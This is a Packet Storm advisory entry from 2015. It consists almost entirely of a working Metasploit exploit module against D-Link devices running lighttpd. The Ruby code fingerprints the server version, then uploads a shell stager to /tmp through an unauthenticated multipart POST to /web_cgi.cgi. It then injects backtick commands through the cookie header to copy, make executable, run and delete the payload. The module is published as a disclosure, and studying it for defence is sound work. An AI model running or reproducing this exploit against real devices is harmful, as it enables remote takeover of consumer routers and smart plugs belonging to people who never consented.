D-Link Cookie Command Execution

2015-07-17T00:00:00
ID PACKETSTORM:132723
Type packetstorm
Reporter Michael Messner
Modified 2015-07-17T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'D-Link Cookie Command Execution',  
'Description' => %q{  
This module exploits an anonymous remote upload and code execution vulnerability on different  
D-Link devices. The vulnerability is a command injection in the cookie handling process of the  
lighttpd web server when handling specially crafted cookie values. This module has been  
successfully tested on D-Link DSP-W110A1_FW105B01 in emulated environment.  
},  
'Author' =>  
[  
'Peter Adkins <peter.adkins[at]kernelpicnic.net>', # vulnerability discovery and initial PoC  
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'Platform' => 'linux',  
'References' =>  
[  
['URL', 'https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110'] # blog post including PoC  
],  
'DisclosureDate' => 'Jun 12 2015',  
'Payload' =>  
{  
'DisableNops' => true  
},  
'Targets' =>  
[  
[ 'MIPS Little Endian', # unknown if there are LE devices out there ... but in case we have a target  
{  
'Platform' => 'linux',  
'Arch' => ARCH_MIPSLE  
}  
],  
[ 'MIPS Big Endian',  
{  
'Platform' => 'linux',  
'Arch' => ARCH_MIPSBE  
}  
]  
],  
'DefaultTarget' => 1  
))  
end  
  
def check  
begin  
res = send_request_cgi({  
'uri' => '/',  
'method' => 'GET'  
})  
  
if res && res.headers["Server"] =~ /lighttpd\/1\.4\.34/  
return Exploit::CheckCode::Detected  
end  
rescue ::Rex::ConnectionError  
return Exploit::CheckCode::Unknown  
end  
  
Exploit::CheckCode::Unknown  
end  
  
def exploit  
print_status("#{peer} - Trying to access the device ...")  
  
unless check == Exploit::CheckCode::Detected  
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")  
end  
  
print_status("#{peer} - Uploading stager ...")  
@counter = 1  
execute_cmdstager(  
:flavor => :echo,  
:linemax => 95 # limited by our upload, larger payloads crash the web server  
)  
  
print_status("#{peer} - creating payload and executing it ...")  
  
(1 .. @counter).each do |act_file|  
# the http server blocks access to our files ... we copy it to a new one  
# the length of our command is restricted to 19 characters  
cmd = "cp /t*/#{act_file} /tmp/#{act_file+@counter}"  
execute_final_command(cmd)  
cmd = "chmod +x /tmp/#{act_file+@counter}"  
execute_final_command(cmd)  
cmd = "/tmp/#{act_file+@counter}"  
execute_final_command(cmd)  
cmd = "rm /tmp/#{act_file}"  
execute_final_command(cmd)  
cmd = "rm /tmp/#{act_file+@counter}"  
execute_final_command(cmd)  
end  
end  
  
def execute_command(cmd,opts)  
# upload our stager to a shell script  
# upload takes quite long because there is no response from the web server  
  
file_upload = "#!/bin/sh\n"  
file_upload << cmd << "\n"  
  
post_data = Rex::MIME::Message.new  
post_data.add_part(file_upload, nil, "binary", "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{@counter}\"")  
post_data.bound = "-#{rand_text_alpha(12)}--"  
file = post_data.to_s  
  
@counter = @counter + 1  
  
begin  
send_request_cgi({  
'method' => 'POST',  
'uri' => "/web_cgi.cgi",  
'vars_get' => {  
'&request' =>'UploadFile',  
'path' => '/tmp/'  
},  
'encode_params' => false,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'data' => file  
})  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")  
end  
  
end  
  
def execute_final_command(cmd)  
# very limited space - larger commands crash the webserver  
fail_with(Failure::Unknown, "#{peer} - Generated command for injection is too long") if cmd.length > 18  
begin  
send_request_cgi({  
'method' => 'GET',  
'uri' => "/",  
'cookie' => "i=`#{cmd}`"  
}, 5)  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")  
end  
end  
end  
`